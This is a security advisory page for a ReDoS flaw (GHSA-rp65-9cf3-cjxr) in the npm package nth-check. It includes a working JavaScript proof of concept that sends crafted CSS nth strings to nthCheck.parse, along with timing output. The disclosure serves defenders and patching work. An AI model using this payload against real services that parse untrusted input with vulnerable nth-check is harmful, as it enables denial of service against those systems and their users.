GHSA-rp65-9cf3-cjxr
Suggest an improvement- Source
- https://github.com/advisories/GHSA-rp65-9cf3-cjxr
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-rp65-9cf3-cjxr/GHSA-rp65-9cf3-cjxr.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-rp65-9cf3-cjxr
- Aliases
- Published
- 2021-09-20T20:47:31Z
- Modified
- 2023-11-08T04:06:25.125067Z
- Severity
-
- 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
- Summary
- Inefficient Regular Expression Complexity in nth-check
- Details
-
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern
\s*(?:([+-]?)\s*(\d+))?with quantified overlapping adjacency and can be exploited with the following code.Proof of Concept
// PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) } catch(err) { var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } }The Output
attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms - Database specific
{ "nvd_published_at": "2021-09-17T07:15:00Z", "cwe_ids": [ "CWE-1333" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2021-09-20T20:15:09Z" }- References
Affected packages
npm / nth-check
Package
- Name
- nth-check
- View open source insights on deps.dev
- Purl
- pkg:npm/nth-check